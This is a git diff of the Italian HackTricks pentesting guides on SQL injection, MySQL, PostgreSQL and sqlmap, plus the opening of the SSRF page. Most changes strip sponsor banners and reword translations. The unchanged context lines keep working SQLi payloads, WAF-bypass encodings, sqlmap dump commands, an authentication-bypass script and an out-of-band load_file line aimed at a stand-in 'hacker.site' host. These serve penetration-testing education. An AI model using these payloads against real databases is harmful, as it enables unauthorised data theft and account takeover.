 - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul Hacking**\
-Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking
-
-**Notizie di Hacking in Tempo Reale**\
-Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi Annunci**\
-Rimani informato sugli ultimi bug bounty in partenza e aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index d4b6adebc..f028d562c 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -2,19 +2,14 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-​​​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
 
 ## Cos'è l'iniezione SQL?
 
-Un'**iniezione SQL** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un'interruzione del servizio.
+Un **SQL injection** è una vulnerabilità di sicurezza che consente agli attaccanti di **interferire con le query del database** di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di **visualizzare**, **modificare** o **eliminare** dati a cui non dovrebbero avere accesso, inclusi informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromissione del server o denial of service.
 
 ## Rilevamento dei punti di ingresso
 
-Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati all'SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
+Quando un sito appare **vulnerabile all'iniezione SQL (SQLi)** a causa di risposte insolite del server a input correlati a SQLi, il **primo passo** è comprendere come **iniettare dati nella query senza interromperla**. Questo richiede di identificare il metodo per **uscire dal contesto attuale** in modo efficace. Questi sono alcuni esempi utili:
 ```
 [Nothing]
 '
@@ -76,7 +71,7 @@ Questa lista di parole è stata creata per cercare di **confermare le SQL inject
 
 ### Confermare con il Timing
 
-In alcuni casi **non noterai alcuna modifica** nella pagina che stai testando. Pertanto, un buon modo per **scoprire le SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
+In alcuni casi **non noterai alcun cambiamento** nella pagina che stai testando. Pertanto, un buon modo per **scoprire le SQL injection cieche** è far eseguire azioni al DB che avranno un **impatto sul tempo** necessario per caricare la pagina.\
 Pertanto, andremo a concatenare nella query SQL un'operazione che richiederà molto tempo per completarsi:
 ```
 MySQL (string concat and logical ops)
@@ -168,13 +163,13 @@ Per determinare il numero di colonne in una query, regola progressivamente il nu
 ```
 #### UNION SELECT
 
-Seleziona sempre più valori null fino a quando la query non è corretta:
+Seleziona sempre più valori nulli finché la query non è corretta:
 ```sql
 1' UNION SELECT null-- - Not working
 1' UNION SELECT null,null-- - Not working
 1' UNION SELECT null,null,null-- - Worked
 ```
-_Dovresti usare i valori `null` poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso._
+_Dovresti usare valori `null` poiché in alcuni casi il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso._
 
 ### Estrai nomi di database, nomi di tabelle e nomi di colonne
 
@@ -191,26 +186,26 @@ Negli esempi seguenti recupereremo il nome di tutti i database, il nome della ta
 ```
 _C'è un modo diverso per scoprire questi dati su ogni database diverso, ma la metodologia è sempre la stessa._
 
-## Sfruttare l'Iniezione Unione Nascosta
+## Sfruttare l'Iniezione Basata su Union Nascosta
 
-Quando l'output di una query è visibile, ma un'iniezione basata su unione sembra irraggiungibile, ciò significa che è presente un'**iniezione unione nascosta**. Questo scenario porta spesso a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata su unione, è necessario discernere la query di esecuzione sul backend.
+Quando l'output di una query è visibile, ma un'iniezione basata su union sembra irraggiungibile, ciò significa che è presente un'iniezione **basata su union nascosta**. Questo scenario porta spesso a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata su union, è necessario discernere la query di esecuzione sul backend.
 
-Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Database Management System (DBMS) di destinazione. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS di destinazione.
+Questo può essere realizzato attraverso l'uso di tecniche di iniezione cieca insieme alle tabelle predefinite specifiche per il tuo Database Management System (DBMS) target. Per comprendere queste tabelle predefinite, è consigliato consultare la documentazione del DBMS target.
 
-Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query unione viene aggiunta al tuo payload, facilitando lo sfruttamento dell'iniezione basata su unione ora accessibile.
+Una volta estratta la query, è necessario adattare il tuo payload per chiudere in modo sicuro la query originale. Successivamente, una query union viene aggiunta al tuo payload, facilitando lo sfruttamento della nuova iniezione basata su union accessibile.
 
 Per ulteriori approfondimenti, fai riferimento all'articolo completo disponibile su [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
 
-## Sfruttare l'Iniezione Basata su Errore
+## Sfruttare l'Iniezione Basata su Errori
 
 Se per qualche motivo **non puoi** vedere l'**output** della **query** ma puoi **vedere i messaggi di errore**, puoi utilizzare questi messaggi di errore per **ex-filtrare** dati dal database.\
-Seguendo un flusso simile a quello dell'exploitation basata su unione, potresti riuscire a dumpare il DB.
+Seguendo un flusso simile a quello dell'iniezione basata su Union, potresti riuscire a dumpare il DB.
 ```sql
 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 ```
 ## Sfruttare Blind SQLi
 
-In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi nella pagina.\
+In questo caso non puoi vedere i risultati della query o gli errori, ma puoi **distinguere** quando la query **restituisce** una risposta **vera** o **falsa** perché ci sono contenuti diversi sulla pagina.\
 In questo caso, puoi abusare di quel comportamento per estrarre il database carattere per carattere:
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@@ -223,7 +218,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
 ## Sfruttare SQLi Basato sul Tempo
 
-In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **richieda più tempo per caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](./#confirming-with-timing).
+In questo caso non **c'è** alcun modo per **distinguere** la **risposta** della query in base al contesto della pagina. Ma, puoi far sì che la pagina **impieghi più tempo a caricarsi** se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso prima per [confermare una vulnerabilità SQLi](./#confirming-with-timing).
 ```sql
 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
 ```
@@ -243,7 +238,7 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
 ```sql
 a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- -
 ```
-## Exploitazione automatizzata
+## Sfruttamento automatico
 
 Controlla il [SQLMap Cheatsheet](sqlmap/) per sfruttare una vulnerabilità SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
 
@@ -259,12 +254,6 @@ Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injec
 
 Oppure troverai **molti trucchi riguardanti: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 
-

-
-​​​​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 ## Bypass dell'autenticazione
 
 Elenco da provare per bypassare la funzionalità di login:
@@ -310,7 +299,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
 r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
 print r.text
 ```
-### Iniezione poliglotta (multicontext)
+### Iniezione polyglot (multicontext)
 ```sql
 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 ```
@@ -328,7 +317,7 @@ Per farlo, dovresti provare a **creare un nuovo oggetto chiamato "oggetto master
 
 Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente **admin**, prova a creare un nome utente chiamato: "_admin \[30 spazi] a_" e qualsiasi password.
 
-Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbe apparire qualche errore, ma non significa che non abbia funzionato).
+Il database **verificherà** se il **nome utente** introdotto **esiste** all'interno del database. Se **non** esiste, **taglierà** il **nome utente** al **numero massimo di caratteri consentito** (in questo caso a: "_admin \[25 spazi]_") e poi **rimuoverà automaticamente tutti gli spazi alla fine aggiornando** all'interno del database l'utente "**admin**" con la **nuova password** (potrebbero apparire alcuni errori, ma non significa che non abbia funzionato).
 
 Ulteriori informazioni: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
@@ -354,11 +343,11 @@ Ecco come funziona:
 
 - La query tenta di inserire due righe: una per `generic_user@example.com` e un'altra per `admin_generic@example.com`.
 - Se la riga per `admin_generic@example.com` esiste già, la clausola `ON DUPLICATE KEY UPDATE` si attiva, istruendo MySQL ad aggiornare il campo `password` della riga esistente a "bcrypt_hash_of_newpassword".
-- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).
+- Di conseguenza, l'autenticazione può quindi essere tentata utilizzando `admin_generic@example.com` con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash reale della password desiderata).
 
 ### Estrai informazioni
 
-#### Creazione di 2 account contemporaneamente
+#### Creare 2 account contemporaneamente
 
 Quando si tenta di creare un nuovo utente, sono necessari nome utente, password e email:
 ```
@@ -388,28 +377,22 @@ Utilizzando **hex** e **replace** (e **substr**):
 #Full ascii uppercase and lowercase replace:
 '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
 ```
-

-
-​​​​​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 ## Routed SQL injection
 
-Routed SQL injection è una situazione in cui la query iniettabile non è quella che produce output, ma l'output della query iniettabile va alla query che produce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
+L'iniezione SQL routata è una situazione in cui la query iniettabile non è quella che fornisce output, ma l'output della query iniettabile va alla query che fornisce output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
 
-Example:
+Esempio:
 ```
 #Hex of: -1' union select login,password from users-- a
 -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
 ```
 ## Bypass WAF
 
-[Bypass iniziali da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
+[Iniziali bypass da qui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
 
 ### Bypass senza spazi
 
-No Space (%20) - bypass utilizzando alternative agli spazi bianchi
+No Space (%20) - bypass utilizzando alternative di spazi bianchi
 ```sql
 ?id=1%09and%091=1%09--
 ?id=1%0Dand%0D1=1%0D--
@@ -475,7 +458,7 @@ O utilizzando un **comma bypass**:
 ```
 Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
 
-### Strumenti per il bypass del WAF
+### Strumenti per suggerire bypass WAF
 
 {% embed url="https://github.com/m4ll0k/Atlas" %}
 
@@ -489,11 +472,4 @@ Questo trucco è stato preso da [https://secgroup.github.io/2017/01/03/33c3ctf-w
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
 
 ​
-
-

-
-​​​​​​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md
index 2ee1a5b58..fedcaf204 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/README.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/README.md
@@ -2,11 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

 
-​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
 
 ## Commenti
 ```sql
@@ -129,7 +125,7 @@ Seleziona 2 colonne senza utilizzare alcuna virgola ([https://security.stackexch
 ```
 ### Recuperare valori senza il nome della colonna
 
-Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quanti sono i colonne eseguendo qualcosa come:
+Se a un certo punto conosci il nome della tabella ma non conosci il nome delle colonne all'interno della tabella, puoi provare a scoprire quante colonne ci sono eseguendo qualcosa come:
 ```bash
 # When a True is returned, you have found the number of columns
 select (select "", "") = (SELECT * from demo limit 1);     # 2columns
@@ -160,10 +156,5 @@ mysql> select version();
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
 
-

-
-​​​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md
index 3c14aceb1..7d0512b28 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -2,11 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 ---
 
@@ -37,7 +32,7 @@ Manipolare le stringhe potrebbe aiutarti a **bypassare i WAF o altre restrizioni
 
 ### Query impilate
 
-Ricorda che postgresql supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Ma, puoi comunque abusare delle query impilate tramite l'iniezione temporale:
+Ricorda che PostgreSQL supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Ma, puoi comunque abusare delle query impilate tramite l'iniezione temporale:
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@@ -52,7 +47,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
 ```
 **database_to_xml**
 
-Questa funzione eseguirà il dump dell'intero database in formato XML in un'unica riga (fai attenzione se il database è molto grande poiché potresti causare un DoS o addirittura il tuo stesso client):
+Questa funzione esporterà l'intero database in formato XML in un'unica riga (fai attenzione se il database è molto grande poiché potresti causare un DoS o addirittura il tuo stesso client):
 ```sql
 SELECT database_to_xml(true,true,'');
 ```
@@ -80,10 +75,4 @@ SELECT 'hacktricks';
 SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md
index 9969fd43d..c7c027a3e 100644
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@@ -2,13 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Argomenti di base per SQLmap
 
@@ -50,13 +43,13 @@
 --columns #Columns of a table  ( -D  -T  )
 -D  -T 
 -C  #Dump column
 ```
-Utilizzando [SQLMapping](https://taurusomar.github.io/sqlmapping/), è uno strumento pratico che genera comandi e fornisce una panoramica completa, sia di base che avanzata, per SQLMap. Include ToolTips che spiegano ogni aspetto dello strumento, dettagliando ogni opzione in modo da poter migliorare e comprendere come utilizzarlo in modo efficiente ed efficace.
+Utilizzando [SQLMapping](https://taurusomar.github.io/sqlmapping/) è uno strumento pratico che genera comandi e fornisce una panoramica completa, sia di base che avanzata, per SQLMap. Include ToolTips che spiegano ogni aspetto dello strumento, dettagliando ogni opzione in modo da poter migliorare e comprendere come utilizzarlo in modo efficiente ed efficace.
 
 ## Luogo di iniezione
 
 ### Da cattura Burp/ZAP
 
-Cattura la richiesta e crea un file req.txt.
+Cattura la richiesta e crea un file req.txt
 ```bash
 sqlmap -r req.txt --current-user
 ```
@@ -89,7 +82,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 ```
 ### Eval
 
-**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente, la **flask cookie session** **è firmata da flask con il segreto noto prima di inviarla**:
+**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nel seguente esempio, la **flask cookie session** **è firmata da flask con il segreto noto prima di inviarla**:
 ```bash
 sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
 ```
@@ -116,7 +109,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
 --crawl = how deep you want to crawl a site
 --forms = Parse and test forms
 ```
-### Iniezione di Secondo Ordine
+### Second Order Injection
 ```bash
 python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs
@@ -149,10 +142,10 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
 | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
 | apostrophemask.py            | Sostituisce il carattere apostrofo con il suo corrispondente a larghezza completa UTF-8                                            |
 | apostrophenullencode.py      | Sostituisce il carattere apostrofo con il suo corrispondente illegale a doppio unicode                                             |
-| appendnullbyte.py            | Aggiunge un carattere NULL codificato alla fine del payload                                                                         |
+| appendnullbyte.py            | Aggiunge un carattere NULL byte codificato alla fine del payload                                                                    |
 | base64encode.py              | Codifica in Base64 tutti i caratteri in un dato payload                                                                            |
 | between.py                   | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #'                                                                |
-| bluecoat.py                  | Sostituisce il carattere di spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
+| bluecoat.py                  | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
 | chardoubleencode.py          | Codifica doppio url tutti i caratteri in un dato payload (non elabora quelli già codificati)                                       |
 | commalesslimit.py            | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                      |
 | commalessmid.py              | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)'                                                                 |
@@ -169,37 +162,30 @@ Ricorda che **puoi creare il tuo tamper in python** ed è molto semplice. Puoi t
 | modsecurityzeroversioned.py  | Racchiude la query completa con un commento a zero versionato                                                                       |
 | multiplespaces.py            | Aggiunge spazi multipli attorno alle parole chiave SQL                                                                              |
 | nonrecursivereplacement.py   | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri      |
-| percentage.py                | Aggiunge un simbolo di percentuale ('%') davanti a ogni carattere                                                                   |
+| percentage.py                | Aggiunge un simbolo di percentuale ('%') davanti a ciascun carattere                                                                |
 | overlongutf8.py              | Converte tutti i caratteri in un dato payload (non elabora quelli già codificati)                                                  |
-| randomcase.py                | Sostituisce ogni carattere parola chiave con un valore di caso casuale                                                              |
+| randomcase.py                | Sostituisce ciascun carattere della parola chiave con un valore di caso casuale                                                    |
 | randomcomments.py            | Aggiunge commenti casuali alle parole chiave SQL                                                                                   |
 | securesphere.py              | Aggiunge una stringa appositamente creata                                                                                            |
 | sp_password.py               | Aggiunge 'sp_password' alla fine del payload per l'oscuramento automatico dai log DBMS                                             |
-| space2comment.py             | Sostituisce il carattere di spazio (' ') con commenti                                                                                |
-| space2dash.py                | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')        |
-| space2hash.py                | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n')   |
-| space2morehash.py            | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una stringa casuale e una nuova riga ('\n')   |
-| space2mssqlblank.py          | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi               |
-| space2mssqlhash.py           | Sostituisce il carattere di spazio (' ') con un carattere di libbra ('#') seguito da una nuova riga ('\n')                         |
-| space2mysqlblank.py          | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi               |
-| space2mysqldash.py           | Sostituisce il carattere di spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')                             |
-| space2plus.py                | Sostituisce il carattere di spazio (' ') con un più ('+')                                                                           |
-| space2randomblank.py         | Sostituisce il carattere di spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi               |
-| symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e                                                 |
-| unionalltounion.py           | Sostituisce UNION ALL SELECT con UNION SELECT                                                                                     |
-| unmagicquotes.py             | Sostituisce il carattere di virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
-| uppercase.py                 | Sostituisce ogni carattere parola chiave con il valore maiuscolo 'INSERT'                                                          |
+| space2comment.py             | Sostituisce il carattere spazio (' ') con commenti                                                                                  |
+| space2dash.py                | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n')            |
+| space2hash.py                | Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')  |
+| space2morehash.py            | Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n')  |
+| space2mssqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
+| space2mssqlhash.py           | Sostituisce il carattere spazio (' ') con un carattere di cancelletto ('#') seguito da una nuova riga ('\n')                        |
+| space2mysqlblank.py          | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
+| space2mysqldash.py           | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n')                                 |
+| space2plus.py                | Sostituisce il carattere spazio (' ') con un più ('+')                                                                              |
+| space2randomblank.py         | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi                  |
+| symboliclogical.py           | Sostituisce gli operatori logici AND e OR con i loro corrispondenti simbolici (&& e                                                |
+| unionalltounion.py           | Sostituisce UNION ALL SELECT con UNION SELECT                                                                                      |
+| unmagicquotes.py             | Sostituisce il carattere virgolette (') con una combinazione multi-byte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
+| uppercase.py                 | Sostituisce ciascun carattere della parola chiave con il valore maiuscolo 'INSERT'                                                |
 | varnish.py                   | Aggiunge un'intestazione HTTP 'X-originating-IP'                                                                                    |
-| versionedkeywords.py         | Racchiude ogni parola chiave non funzione con un commento MySQL versionato                                                          |
-| versionedmorekeywords.py     | Racchiude ogni parola chiave con un commento MySQL versionato                                                                       |
+| versionedkeywords.py         | Racchiude ciascuna parola chiave non funzione con un commento MySQL versionato                                                      |
+| versionedmorekeywords.py     | Racchiude ciascuna parola chiave con un commento MySQL versionato                                                                   |
 | xforwardedfor.py             | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For'                                                                              |
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index abbd64e22..1fc5968b5 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -1,13 +1,5 @@
 # SSRF (Server Side Request Forgery)
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
